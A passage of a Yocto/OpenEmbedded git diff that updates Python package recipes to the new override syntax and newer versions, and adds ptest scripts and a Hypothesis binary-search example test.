diff --git a/meta/recipes-devtools/python/python-gitdb.inc b/meta/recipes-devtools/python/python-gitdb.inc
index 618d85ff8d..9482964f30 100644
--- a/meta/recipes-devtools/python/python-gitdb.inc
+++ b/meta/recipes-devtools/python/python-gitdb.inc
@@ -8,11 +8,11 @@ inherit pypi
PYPI_PACKAGE = "gitdb"
-SRC_URI[sha256sum] = "c9e1f2d0db7ddb9a704c2a0217be31214e91a4fe1dea1efad19ae42ba0c285c9"
+SRC_URI[sha256sum] = "bac2fd45c0a1c9cf619e63a90d62bdc63892ef92387424b855792a6cabe789aa"
DEPENDS = "${PYTHON_PN}-async ${PYTHON_PN}-setuptools-native ${PYTHON_PN}-smmap"
-RDEPENDS_${PN} += "${PYTHON_PN}-async \
+RDEPENDS:${PN} += "${PYTHON_PN}-async \
${PYTHON_PN}-compression \
${PYTHON_PN}-crypt \
${PYTHON_PN}-io \
diff --git a/meta/recipes-devtools/python/python-nose.inc b/meta/recipes-devtools/python/python-nose.inc
index ccec68a0e1..dfae202299 100644
--- a/meta/recipes-devtools/python/python-nose.inc
+++ b/meta/recipes-devtools/python/python-nose.inc
@@ -11,7 +11,7 @@ SRC_URI[sha256sum] = "f1bffef9cbc82628f6e7d7b40d7e255aefaa1adb6a1b1d26c69a8b79e6
inherit pypi
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PYTHON_PN}-unittest \
"
diff --git a/meta/recipes-devtools/python/python-pbr.inc b/meta/recipes-devtools/python/python-pbr.inc
index bc470e7274..59fbc6dce4 100644
--- a/meta/recipes-devtools/python/python-pbr.inc
+++ b/meta/recipes-devtools/python/python-pbr.inc
@@ -9,6 +9,6 @@ SRC_URI += "file://0001-change-shebang-to-python3.patch"
inherit pypi
-RDEPENDS_${PN} += "${PYTHON_PN}-pip"
+RDEPENDS:${PN} += "${PYTHON_PN}-pip"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-pycryptodome.inc b/meta/recipes-devtools/python/python-pycryptodome.inc
index 68b084eb04..071af557ea 100644
--- a/meta/recipes-devtools/python/python-pycryptodome.inc
+++ b/meta/recipes-devtools/python/python-pycryptodome.inc
@@ -3,22 +3,24 @@ DESCRIPTION = "PyCryptodome is a self-contained Python package of low-level\
cryptographic primitives."
HOMEPAGE = "http://www.pycryptodome.org"
LICENSE = "PD & BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=6dc0e2a13d2f25d6f123c434b761faba"
+LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=29242a70410a4eeff488a28164e7ab93"
inherit pypi
-RDEPENDS_${PN} += " \
+PYPI_PACKAGE_EXT = "zip"
+
+RDEPENDS:${PN} += " \
${PYTHON_PN}-io \
${PYTHON_PN}-math \
"
-RDEPENDS_${PN}-tests += " \
+RDEPENDS:${PN}-tests += " \
${PYTHON_PN}-unittest \
"
PACKAGES =+ "${PN}-tests"
-FILES_${PN}-tests = " \
+FILES:${PN}-tests = " \
${PYTHON_SITEPACKAGES_DIR}/Crypto/SelfTest/ \
${PYTHON_SITEPACKAGES_DIR}/Crypto/SelfTest/__pycache__/ \
"
diff --git a/meta/recipes-devtools/python/python-pyparsing.inc b/meta/recipes-devtools/python/python-pyparsing.inc
deleted file mode 100644
index 348b324bf5..0000000000
--- a/meta/recipes-devtools/python/python-pyparsing.inc
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Python parsing module"
-HOMEPAGE = "http://pyparsing.wikispaces.com/"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=657a566233888513e1f07ba13e2f47f1"
-
-SRC_URI[md5sum] = "f0953e47a0112f7a65aec2305ffdf7b4"
-SRC_URI[sha256sum] = "c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"
-UPSTREAM_CHECK_REGEX = "pyparsing-(?P<pver>.*)\.tar"
-
-inherit pypi
-
-RDEPENDS_${PN} += " \
- ${PYTHON_PN}-datetime \
- ${PYTHON_PN}-debugger \
- ${PYTHON_PN}-json \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-pprint \
- ${PYTHON_PN}-stringold \
- ${PYTHON_PN}-threading \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch b/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch
new file mode 100644
index 0000000000..8a646874e8
--- /dev/null
+++ b/meta/recipes-devtools/python/python-rfc3986-validator/0001-setup.py-move-pytest-runner-to-test_requirements.patch
@@ -0,0 +1,32 @@
+From 3531ff73631a0d59234eb4713e7b3a7f5ea57bbb Mon Sep 17 00:00:00 2001
+From: Nicola Lunghi <nicola.lunghi@jci.com>
+Date: Thu, 14 Nov 2019 12:17:51 +0000
+Subject: [PATCH] setup.py: move pytest-runner to test_requirements
+
+This fixes an issue with yocto build.
+pytest-runner is only needed when running tests.
+
+Upstream-Status: Pending
+---
+ setup.py | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/setup.py b/setup.py
+index 53ebea7..ebb0de2 100644
+--- a/setup.py
++++ b/setup.py
+@@ -10,9 +10,9 @@ with open('README.md') as readme_file:
+
+ requirements = []
+
+-setup_requirements = ['pytest-runner', ]
++setup_requirements = []
+
+-test_requirements = ['pytest>=3', ]
++test_requirements = ['pytest>=3', 'pytest-runner']
+
+ setup(
+ author="Nicolas Aimetti",
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/python/python-six.inc b/meta/recipes-devtools/python/python-six.inc
index df97f845bc..aac6765149 100644
--- a/meta/recipes-devtools/python/python-six.inc
+++ b/meta/recipes-devtools/python/python-six.inc
@@ -6,6 +6,6 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=43cfc9e4ac0e377acfb9b76f56b8415d"
inherit pypi
-RDEPENDS_${PN} = "${PYTHON_PN}-io"
+RDEPENDS:${PN} = "${PYTHON_PN}-io"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-smmap.inc b/meta/recipes-devtools/python/python-smmap.inc
deleted file mode 100644
index 7703722bca..0000000000
--- a/meta/recipes-devtools/python/python-smmap.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "Python implementation of a sliding window memory map manager"
-DESCRIPTION = "A pure Python implementation of a sliding memory map to \
-help unifying memory mapped access on 32 and 64 bit systems and to help \
-managing resources more efficiently."
-HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=e910b35b0ef4e1f665b9a75d6afb7709"
-
-inherit pypi
-
-PYPI_PACKAGE = "smmap"
-
-SRC_URI[sha256sum] = "9c98bbd1f9786d22f14b3d4126894d56befb835ec90cef151af566c7e19b5d24"
-
-RDEPENDS_${PN} += "${PYTHON_PN}-codecs \
- ${PYTHON_PN}-mmap \
-"
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python-testtools.inc b/meta/recipes-devtools/python/python-testtools.inc
index e8d308b717..ef5e15cc3a 100644
--- a/meta/recipes-devtools/python/python-testtools.inc
+++ b/meta/recipes-devtools/python/python-testtools.inc
@@ -6,8 +6,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=e2c9d3e8ba7141c83bfef190e0b9379a"
inherit pypi
-SRC_URI[md5sum] = "e8fc7185b47cfb908c641f8c4b2a6add"
-SRC_URI[sha256sum] = "64c974a6cca4385d05f4bbfa2deca1c39ce88ede31c3448bee86a7259a9a61c8"
+SRC_URI[sha256sum] = "57c13433d94f9ffde3be6534177d10fb0c1507cc499319128958ca91a65cb23f"
DEPENDS += " \
${PYTHON_PN}-pbr \
@@ -18,7 +17,7 @@ DEPENDS += " \
${PYTHON_PN}-pbr-native \
"
-RDEPENDS_${PN} += "\
+RDEPENDS:${PN} += "\
${PYTHON_PN}-doctest \
${PYTHON_PN}-extras \
${PYTHON_PN}-pbr \
diff --git a/meta/recipes-devtools/python/python3-atomicwrites/run-ptest b/meta/recipes-devtools/python/python3-atomicwrites/run-ptest
new file mode 100644
index 0000000000..b63c4de0d9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-atomicwrites/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-atomicwrites_1.4.0.bb b/meta/recipes-devtools/python/python3-atomicwrites_1.4.0.bb
new file mode 100644
index 0000000000..065a2c7b4f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-atomicwrites_1.4.0.bb
@@ -0,0 +1,25 @@
+DESCRIPTION = "Powerful Python library for atomic file writes"
+HOMEPAGE = "https://github.com/untitaker/python-atomicwrites"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=91cc36cfafeefb7863673bcfcb1d4da4"
+
+SRC_URI[md5sum] = "b5cc15c8f9f180a48665f9aacf91d817"
+SRC_URI[sha256sum] = "ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"
+
+inherit pypi setuptools3 ptest
+
+SRC_URI += " \
+ file://run-ptest \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ ${PYTHON_PN}-pytest \
+ ${PYTHON_PN}-unixadmin \
+"
+
+do_install_ptest() {
+ install -d ${D}${PTEST_PATH}/tests
+ cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
+}
+
+RDEPENDS:${PN} = "${PYTHON_PN}-misc"
diff --git a/meta/recipes-devtools/python/python3-attrs_21.2.0.bb b/meta/recipes-devtools/python/python3-attrs_21.2.0.bb
new file mode 100644
index 0000000000..d52237f267
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-attrs_21.2.0.bb
@@ -0,0 +1,19 @@
+DESCRIPTION = "Classes Without Boilerplate"
+HOMEPAGE = "http://www.attrs.org/"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=d4ab25949a73fe7d4fdee93bcbdbf8ff"
+
+SRC_URI[sha256sum] = "ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN}:class-target += " \
+ ${PYTHON_PN}-crypt \
+ ${PYTHON_PN}-ctypes \
+"
+RDEPENDS:${PN}:class-nativesdk += " \
+ ${PYTHON_PN}-crypt \
+ ${PYTHON_PN}-ctypes \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-cython_0.29.21.bb b/meta/recipes-devtools/python/python3-cython_0.29.21.bb
deleted file mode 100644
index 2ce6bdbd68..0000000000
--- a/meta/recipes-devtools/python/python3-cython_0.29.21.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-inherit setuptools3
-require python-cython.inc
-
-RDEPENDS_${PN} += "\
- python3-setuptools \
-"
-
-# running build_ext a second time during install fails, because Python
-# would then attempt to import cythonized modules built for the target
-# architecture.
-DISTUTILS_INSTALL_ARGS += "--skip-build"
-
-do_install_append() {
- # rename scripts that would conflict with the Python 2 build of Cython
- mv ${D}${bindir}/cython ${D}${bindir}/cython3
- mv ${D}${bindir}/cythonize ${D}${bindir}/cythonize3
- mv ${D}${bindir}/cygdb ${D}${bindir}/cygdb3
-}
diff --git a/meta/recipes-devtools/python/python3-cython_0.29.25.bb b/meta/recipes-devtools/python/python3-cython_0.29.25.bb
new file mode 100644
index 0000000000..b1d21bd15c
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-cython_0.29.25.bb
@@ -0,0 +1,37 @@
+inherit setuptools3
+require python-cython.inc
+
+RDEPENDS:${PN} += "\
+ python3-setuptools \
+"
+
+# running build_ext a second time during install fails, because Python
+# would then attempt to import cythonized modules built for the target
+# architecture.
+DISTUTILS_INSTALL_ARGS += "--skip-build"
+
+do_install:append() {
+ # rename scripts that would conflict with the Python 2 build of Cython
+ mv ${D}${bindir}/cython ${D}${bindir}/cython3
+ mv ${D}${bindir}/cythonize ${D}${bindir}/cythonize3
+ mv ${D}${bindir}/cygdb ${D}${bindir}/cygdb3
+}
+
+PACKAGEBUILDPKGD += "cython_fix_sources"
+
+cython_fix_sources () {
+ for f in ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Compiler/FlowControl.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Compiler/FusedNode.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Compiler/Scanning.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Compiler/Visitor.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Plex/Actions.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Plex/Scanners.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Runtime/refnanny.c \
+ ${PKGD}/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}/Cython-${PV}/Cython/Tempita/_tempita.c \
+ ${PKGD}${libdir}/${PYTHON_DIR}/site-packages/Cython*/SOURCES.txt; do
+ if [ -e $f ]; then
+ sed -i -e 's#${WORKDIR}#/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}#g' $f
+ fi
+ done
+}
+
diff --git a/meta/recipes-devtools/python/python3-dbus_1.2.16.bb b/meta/recipes-devtools/python/python3-dbus_1.2.16.bb
deleted file mode 100644
index e1700fa869..0000000000
--- a/meta/recipes-devtools/python/python3-dbus_1.2.16.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Python bindings for the DBus inter-process communication system"
-SECTION = "devel/python"
-HOMEPAGE = "http://www.freedesktop.org/Software/dbus"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b03240518994df6d8c974675675e5ca4"
-DEPENDS = "expat dbus glib-2.0 virtual/libintl"
-
-SRC_URI = "http://dbus.freedesktop.org/releases/dbus-python/dbus-python-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "51a45c973d82bedff033a4b57d69d5d8"
-SRC_URI[sha256sum] = "11238f1d86c995d8aed2e22f04a1e3779f0d70e587caffeab4857f3c662ed5a4"
-
-S = "${WORKDIR}/dbus-python-${PV}"
-
-inherit distutils3-base autotools pkgconfig
-
-# documentation needs python3-sphinx, which is not in oe-core or meta-python for now
-# change to use PACKAGECONFIG when python3-sphinx is added to oe-core
-EXTRA_OECONF += "--disable-documentation"
-
-
-RDEPENDS_${PN} = "python3-io python3-logging python3-stringold python3-threading python3-xml"
-
-FILES_${PN}-dev += "${libdir}/pkgconfig"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dbus_1.2.18.bb b/meta/recipes-devtools/python/python3-dbus_1.2.18.bb
new file mode 100644
index 0000000000..9592fbf716
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dbus_1.2.18.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Python bindings for the DBus inter-process communication system"
+SECTION = "devel/python"
+HOMEPAGE = "http://www.freedesktop.org/Software/dbus"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b03240518994df6d8c974675675e5ca4"
+DEPENDS = "expat dbus glib-2.0 virtual/libintl"
+
+SRC_URI = "http://dbus.freedesktop.org/releases/dbus-python/dbus-python-${PV}.tar.gz"
+
+SRC_URI[sha256sum] = "92bdd1e68b45596c833307a5ff4b217ee6929a1502f5341bae28fd120acf7260"
+
+S = "${WORKDIR}/dbus-python-${PV}"
+
+inherit distutils3-base autotools pkgconfig
+
+# documentation needs python3-sphinx, which is not in oe-core or meta-python for now
+# change to use PACKAGECONFIG when python3-sphinx is added to oe-core
+EXTRA_OECONF += "--disable-documentation"
+
+
+RDEPENDS:${PN} = "python3-io python3-logging python3-stringold python3-threading python3-xml"
+
+FILES:${PN}-dev += "${libdir}/pkgconfig"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-dbusmock_0.19.bb b/meta/recipes-devtools/python/python3-dbusmock_0.19.bb
deleted file mode 100644
index d297dbc1df..0000000000
--- a/meta/recipes-devtools/python/python3-dbusmock_0.19.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "With this program/Python library you can easily create mock objects on D-Bus"
-
-LICENSE = "GPL-3.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=e6a600fd5e1d9cbde2d983680233ad02"
-
-SRC_URI[sha256sum] = "497f30eed2fcd5deaa2633b9622e4e99af4bdfba4e972b350ba630bac6fc86c2"
-
-PYPI_PACKAGE = "python-dbusmock"
-
-inherit pypi setuptools3
-
-RDEPENDS_${PN} += "\
- ${PYTHON_PN}-dbus \
- ${PYTHON_PN}-pygobject \
- ${PYTHON_PN}-unittest \
- ${PYTHON_PN}-xml \
- "
diff --git a/meta/recipes-devtools/python/python3-dbusmock_0.24.1.bb b/meta/recipes-devtools/python/python3-dbusmock_0.24.1.bb
new file mode 100644
index 0000000000..cf272328b3
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dbusmock_0.24.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "With this program/Python library you can easily create mock objects on D-Bus"
+HOMEPAGE = "https://pypi.org/project/python-dbusmock/"
+
+LICENSE = "GPL-3.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+SRC_URI[sha256sum] = "56d660bd5f5d0edfe8b0eedfbb9b0814a134eb94b46fca16c379dca68be5724f"
+
+PYPI_PACKAGE = "python-dbusmock"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-dbus \
+ ${PYTHON_PN}-pygobject \
+ ${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-xml \
+ "
diff --git a/meta/recipes-devtools/python/python3-docutils_0.16.bb b/meta/recipes-devtools/python/python3-docutils_0.16.bb
deleted file mode 100644
index 50547a1b0c..0000000000
--- a/meta/recipes-devtools/python/python3-docutils_0.16.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "Text processing system for documentation"
-HOMEPAGE = "http://docutils.sourceforge.net"
-SECTION = "devel/python"
-LICENSE = "PSF & BSD-2-Clause & GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING.txt;md5=7a4646907ab9083c826280b19e103106"
-
-DEPENDS = "python3"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/docutils/docutils-${PV}.tar.gz"
-SRC_URI[md5sum] = "9ccb6f332e23360f964de72c8ea5f0ed"
-SRC_URI[sha256sum] = "7d4e999cca74a52611773a42912088078363a30912e8822f7a3d38043b767573"
-
-S = "${WORKDIR}/docutils-${PV}"
-
-inherit distutils3
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-docutils_0.18.1.bb b/meta/recipes-devtools/python/python3-docutils_0.18.1.bb
new file mode 100644
index 0000000000..e0fbb2c12d
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-docutils_0.18.1.bb
@@ -0,0 +1,11 @@
+SUMMARY = "Docutils is a modular system for processing documentation into useful formats"
+HOMEPAGE = "http://docutils.sourceforge.net"
+SECTION = "devel/python"
+LICENSE = "PSF & BSD-2-Clause & GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING.txt;md5=fecee07ad8df9116e1f739e2ed2ea513"
+
+SRC_URI[sha256sum] = "679987caf361a7539d76e584cbeddc311e3aee937877c87346f31debc63e9d06"
+
+inherit pypi setuptools3
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/python/python3-dtschema_2021.10.bb b/meta/recipes-devtools/python/python3-dtschema_2021.10.bb
new file mode 100644
index 0000000000..627aed496f
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-dtschema_2021.10.bb
@@ -0,0 +1,16 @@
+DESCRIPTION = "Tooling for devicetree validation using YAML and jsonschema"
+HOMEPAGE = "https://github.com/devicetree-org/dt-schema"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=457495c8fa03540db4a576bf7869e811"
+
+inherit pypi setuptools3
+
+PYPI_PACKAGE = "dtschema"
+
+SRC_URI[md5sum] = "d2f0d847ba2ad4d223317ef7304342b0"
+SRC_URI[sha256sum] = "d09c94d13f46e6674ba11ff31220651ad1b02dae860f5a87905dfac6b8d768d9"
+
+DEPENDS += "python3-setuptools-scm-native"
+RDEPENDS:${PN} += "python3-ruamel-yaml python3-jsonschema python3-rfc3987"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-git_3.1.11.bb b/meta/recipes-devtools/python/python3-git_3.1.11.bb
deleted file mode 100644
index 7c636572f3..0000000000
--- a/meta/recipes-devtools/python/python3-git_3.1.11.bb
+++ /dev/null
@@ -1,32 +0,0 @@
-SUMMARY = "Python library used to interact with Git repositories"
-DESCRIPTION = "GitPython provides object model read and write access to \
-a git repository. Access repository information conveniently, alter the \
-index directly, handle remotes, or go down to low-level object database \
-access with big-files support."
-HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
-SECTION = "devel/python"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=8b8d26c37c1d5a04f9b0186edbebc183"
-
-PYPI_PACKAGE = "GitPython"
-
-inherit pypi setuptools3
-
-SRC_URI[sha256sum] = "befa4d101f91bad1b632df4308ec64555db684c360bd7d2130b4807d49ce86b8"
-
-DEPENDS += " ${PYTHON_PN}-gitdb"
-
-RDEPENDS_${PN} += " \
- ${PYTHON_PN}-datetime \
- ${PYTHON_PN}-gitdb \
- ${PYTHON_PN}-io \
- ${PYTHON_PN}-logging \
- ${PYTHON_PN}-math \
- ${PYTHON_PN}-netclient \
- ${PYTHON_PN}-stringold \
- ${PYTHON_PN}-unittest \
- ${PYTHON_PN}-unixadmin \
- git \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-git_3.1.24.bb b/meta/recipes-devtools/python/python3-git_3.1.24.bb
new file mode 100644
index 0000000000..445c7b0235
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-git_3.1.24.bb
@@ -0,0 +1,32 @@
+SUMMARY = "Python library used to interact with Git repositories"
+DESCRIPTION = "GitPython provides object model read and write access to \
+a git repository. Access repository information conveniently, alter the \
+index directly, handle remotes, or go down to low-level object database \
+access with big-files support."
+HOMEPAGE = "http://github.com/gitpython-developers/GitPython"
+SECTION = "devel/python"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8b8d26c37c1d5a04f9b0186edbebc183"
+
+PYPI_PACKAGE = "GitPython"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "df83fdf5e684fef7c6ee2c02fc68a5ceb7e7e759d08b694088d0cacb4eba59e5"
+
+DEPENDS += " ${PYTHON_PN}-gitdb"
+
+RDEPENDS:${PN} += " \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-gitdb \
+ ${PYTHON_PN}-io \
+ ${PYTHON_PN}-logging \
+ ${PYTHON_PN}-math \
+ ${PYTHON_PN}-netclient \
+ ${PYTHON_PN}-stringold \
+ ${PYTHON_PN}-unittest \
+ ${PYTHON_PN}-unixadmin \
+ git \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/python/python3-gitdb_4.0.5.bb b/meta/recipes-devtools/python/python3-gitdb_4.0.5.bb
deleted file mode 100644
index fe56bf9640..0000000000
--- a/meta/recipes-devtools/python/python3-gitdb_4.0.5.bb
+++ /dev/null
@@ -1,4 +0,0 @@
-inherit setuptools3
-require python-gitdb.inc
-
-SRC_URI[md5sum] = "0e2d3f34efece5deda7c55fede6507cc"
diff --git a/meta/recipes-devtools/python/python3-gitdb_4.0.9.bb b/meta/recipes-devtools/python/python3-gitdb_4.0.9.bb
new file mode 100644
index 0000000000..2dcd9c8aff
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-gitdb_4.0.9.bb
@@ -0,0 +1,3 @@
+inherit setuptools3
+require python-gitdb.inc
+
diff --git a/meta/recipes-devtools/python/python3-hypothesis/run-ptest b/meta/recipes-devtools/python/python3-hypothesis/run-ptest
new file mode 100644
index 0000000000..8d44d7c49a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/run-ptest
@@ -0,0 +1,10 @@
+#!/bin/sh
+
+# Upstream "fast" tests take about 5 minutes and currently do not run cleanly
+# (tests/cover and tests/pytest)
+# https://github.com/HypothesisWorks/hypothesis/tree/master/hypothesis-python/tests
+# https://github.com/HypothesisWorks/hypothesis/blob/master/hypothesis-python/scripts/basic-test.sh#L18
+#
+# Instead we run two test suites imported from examples/
+
+pytest -o log_cli=true -o log_cli_level=INFO | sed -e 's/\[...%\]//g'| sed -e 's/PASSED/PASS/g'| sed -e 's/FAILED/FAIL/g'|sed -e 's/SKIPPED/SKIP/g'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS"){printf "%s: %s\n", $NF, $0}else{print}}'| awk '{if ($NF=="PASS" || $NF=="FAIL" || $NF=="SKIP" || $NF=="XFAIL" || $NF=="XPASS") {$NF="";print $0}else{print}}'
diff --git a/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py b/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py
new file mode 100644
index 0000000000..21267c4ac2
--- /dev/null
+++ b/meta/recipes-devtools/python/python3-hypothesis/test_binary_search.py
@@ -0,0 +1,135 @@
+# This file is part of Hypothesis, which may be found at
+# https://github.com/HypothesisWorks/hypothesis/
+#
+# Most of this work is copyright (C) 2013-2021 David R. MacIver
+# (david@drmaciver.com), but it contains contributions by others. See
+# CONTRIBUTING.rst for a full list of people who may hold copyright, and
+# consult the git log if you need to determine who owns an individual
+# contribution.
+#
+# This Source Code Form is subject to the terms of the Mozilla Public License,
+# v. 2.0. If a copy of the MPL was not distributed with this file, You can
+# obtain one at https://mozilla.org/MPL/2.0/.
+#
+# END HEADER
+#
+# SPDX-License-Identifier: MPL-2.0
+
+"""This file demonstrates testing a binary search.
+
+It's a useful example because the result of the binary search is so clearly
+determined by the invariants it must satisfy, so we can simply test for those
+invariants.
+
+It also demonstrates the useful testing technique of testing how the answer
+should change (or not) in response to movements in the underlying data.
+"""
+
+from hypothesis import given, strategies as st
+
+
+def binary_search(ls, v):
+ """Take a list ls and a value v such that ls is sorted and v is comparable
+ with the elements of ls.
+
+ Return an index i such that 0 <= i <= len(v) with the properties:
+
+ 1. ls.insert(i, v) is sorted
+ 2. ls.insert(j, v) is not sorted for j < i
+ """
+ # Without this check we will get an index error on the next line when the
+ # list is empty.
+ if not ls:
+ return 0
+
+ # Without this check we will miss the case where the insertion point should
+ # be zero: The invariant we maintain in the next section is that lo is
+ # always strictly lower than the insertion point.
+ if v <= ls[0]:
+ return 0
+
+ # Invariant: There is no insertion point i with i <= lo
+ lo = 0
+
+ # Invariant: There is an insertion point i with i <= hi
+ hi = len(ls)
+ while lo + 1 < hi:
+ mid = (lo + hi) // 2
+ if v > ls[mid]:
+ # Inserting v anywhere below mid would result in an unsorted list
+ # because it's > the value at mid. Therefore mid is a valid new lo
+ lo = mid
+ # Uncommenting the following lines will cause this to return a valid
+ # insertion point which is not always minimal.
+ # elif v == ls[mid]:
+ # return mid
+ else:
+ # Either v == ls[mid] in which case mid is a valid insertion point
+ # or v < ls[mid], in which case all valid insertion points must be
+ # < hi. Either way, mid is a valid new hi.
+ hi = mid
+ assert lo + 1 == hi
+ # We now know that there is a valid insertion point <= hi and there is no
+ # valid insertion point < hi because hi - 1 is lo. Therefore hi is the
+ # answer we were seeking
+ return hi
+
+
+def is_sorted(ls):
+ """Is this list sorted?"""
+ for i in range(len(ls) - 1):
+ if ls[i] > ls[i + 1]:
+ return False
+ return True
+
+
+Values = st.integers()
+
+# We generate arbitrary lists and turn this into generating sorting lists
+# by just sorting them.
+SortedLists = st.lists(Values).map(sorted)
+
+# We could also do it this way, but that would be a bad idea:
+# SortedLists = st.lists(Values).filter(is_sorted)
+# The problem is that Hypothesis will only generate long sorted lists with very
+# low probability, so we are much better off post-processing values into the
+# form we want than filtering them out.
+
+
+@given(ls=SortedLists, v=Values)
+def test_insert_is_sorted(ls, v):
+ """We test the first invariant: binary_search should return an index such
+ that inserting the value provided at that index would result in a sorted
+ set."""
+ ls.insert(binary_search(ls, v), v)
+ assert is_sorted(ls)
+
+
+@given(ls=SortedLists, v=Values)
+def test_is_minimal(ls, v):
+ """We test the second invariant: binary_search should return an index such
+ that no smaller index is a valid insertion point for v."""
+ for i in range(binary_search(ls, v)):
+ ls2 = list(ls)
+ ls2.insert(i, v)
